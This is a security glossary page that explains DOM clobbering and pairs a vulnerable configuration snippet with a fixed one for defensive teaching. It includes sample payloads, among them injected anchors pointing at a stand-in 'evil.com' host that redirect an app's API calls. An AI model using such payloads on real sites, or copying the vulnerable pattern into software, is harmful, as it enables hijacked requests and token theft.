← CodeClarityLab Home
Browse by Category
+ added · updated 7d
← Back to glossary

DOM Clobbering

security CWE-79 OWASP A3:2021 CVSS 6.5 Advanced

Also Known As

DOM clobbering named property clobbering id attribute clobbering document property collision

TL;DR

Attack where injected HTML elements with controlled `id` or `name` attributes overwrite JavaScript globals or document properties, weaponising script-less HTML injection into code execution.

Explanation

DOM clobbering exploits a long-standing browser quirk: HTML elements with `id` or `name` attributes are exposed as named properties on the `document` object and on the global `window`. An attacker who can inject HTML — but not script — can use this to overwrite JavaScript variables and tamper with control flow. Classic primitives: `<a id=foo href=javascript:alert(1)>` clobbers `window.foo` to a link object whose `href` triggers JS when accessed; `<form id=config><input name=apiKey value=evil></form>` makes `window.config.apiKey` return `'evil'` if surrounding JS reads `window.config?.apiKey`. Modern attacks chain DOM clobbering with sanitiser bypasses (DOMPurify pre-3.x had several), prototype pollution, and gadget chains in popular libraries. The defence is layered: never trust that a global variable cannot be redefined; access configuration via closures or modules instead of `window.x`; use Trusted Types where supported; configure your HTML sanitiser to strip `id` and `name` attributes (or restrict them to a safelist). DOM clobbering is most dangerous in applications that allow user-supplied HTML (rich-text editors, comment systems) and read configuration from the DOM.

How It's Exploited

App reads config from the DOM: `const url = window.config?.endpoint || '/api'`. Attacker injects in a comment field: `<a id=config><a id=config name=endpoint href=//evil.com>`. Browser exposes the second anchor as `config.endpoint`, with `href` returning the attacker URL. All subsequent API calls go to evil.com. No JavaScript executed — pure HTML.

Watch Out

Sanitiser allow-lists routinely permit id and name as 'harmless'. They aren't — these two attributes are the only thing DOM clobbering needs.

Common Misconception

DOM clobbering requires script execution and is therefore a subset of XSS. It does not — the entire attack uses static HTML attributes, no script tags, no event handlers. It is exploitable in environments with HTML injection but strict CSP that blocks inline scripts, which is why it is often the missing link in XSS-via-CSP-bypass chains.

Why It Matters

Many PHP applications allow user-supplied HTML through 'safe' sanitisers or BBCode-to-HTML pipelines, then read configuration from the rendered DOM. DOM clobbering turns that into authority confusion: `window.appConfig.endpoint` becomes attacker-controlled, redirecting API calls. With CSP increasingly common, clobbering is the path attackers take when classic XSS is blocked.

Common Mistakes

  • Allowing user-controlled `id` or `name` attributes through HTML sanitisers — these are the attack primitives.
  • Reading configuration from `document.x` or `window.x` in production code — any element with that id can clobber it.
  • Trusting `typeof x === 'undefined'` checks as a way to detect tampering — clobbered globals report as objects, not undefined.
  • Forgetting that form children become properties of the form: `<form id=app><input name=user value=admin></form>` makes `app.user` return the input.
  • Assuming the latest sanitiser version is safe — DOMPurify, sanitize-html, and others have all had clobbering bypasses; pin and update versions deliberately.

Avoid When

  • The application accepts no user-supplied HTML and uses Trusted Types — DOM clobbering surface area is essentially zero.

When To Use

  • Auditing applications that allow user-supplied HTML through a sanitiser.
  • Reviewing CSP-protected pages that still suffer XSS-class incidents — clobbering is a likely path.
  • Sanitiser configuration reviews — checking which attributes are permitted.

Code Examples

💡 Note
The architectural fix is to read trusted data once into closure-scoped variables; the configuration fix is to strip id/name attributes from any user-supplied HTML.
✗ Vulnerable
<!-- ❌ Reading global config from a DOM element by id — clobberable -->
<div id="config" data-endpoint="/api/v1" data-token="<?= $csrfToken ?>"></div>

<script>
    // Attacker-controlled HTML elsewhere on page can clobber window.config
    const cfg = window.config || document.getElementById('config');
    fetch(cfg.dataset.endpoint + '/orders');
    // If user content injects <a id=config href=//evil>, fetch goes to evil.
</script>
✓ Fixed
<!-- ✅ Read config exactly once into a closure — no global DOM lookup at use-time -->
<script type="application/json" id="app-config">
    <?= json_encode(['endpoint' => '/api/v1', 'token' => $csrfToken],
                    JSON_HEX_TAG | JSON_HEX_AMP) ?>
</script>

<script>
    (() => {
        const node = document.getElementById('app-config');
        const config = Object.freeze(JSON.parse(node.textContent));
        // From here on, only `config` (closure variable) is used — not window.config.

        function loadOrders() {
            return fetch(config.endpoint + '/orders');
        }

        // Optional hardening: also strip id/name attrs in the user-content sanitiser.
        loadOrders();
    })();
</script>

Added 28 Apr 2026
Views 9
Rate this term
No ratings yet
🤖 AI Guestbook educational data only
| |
Last 30 days
0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 0 pings T 0 pings W 0 pings T 0 pings F 0 pings S 0 pings S 0 pings M 3 pings T 0 pings W 0 pings T 0 pings F 1 ping S 1 ping S 1 ping M 0 pings T 0 pings W 0 pings T
No pings yet today
No pings yesterday
ChatGPT 2 Google 2 Perplexity 2
crawler 4 crawler_json 2
DEV INTEL Tools & Severity
🟡 Medium ⚙ Fix effort: Medium
⚡ Quick Fix
Strip id and name attributes from user-supplied HTML in your sanitiser, and read DOM-embedded configuration once into a closure variable rather than via window/document property lookups at use-time.
📦 Applies To
web
🔗 Prerequisites
🔍 Detection Hints
Reads of window.x or document.x where x is also an id used elsewhere; sanitiser configurations that allow id/name attributes on user-controlled HTML
Auto-detectable: ✗ No
⚠ Related Problems
🤖 AI Agent
Confidence: Low False Positives: High ✗ Manual fix Fix: Medium Context: File Tests: Update
CWE-79 CWE-1321

✓ schema.org compliant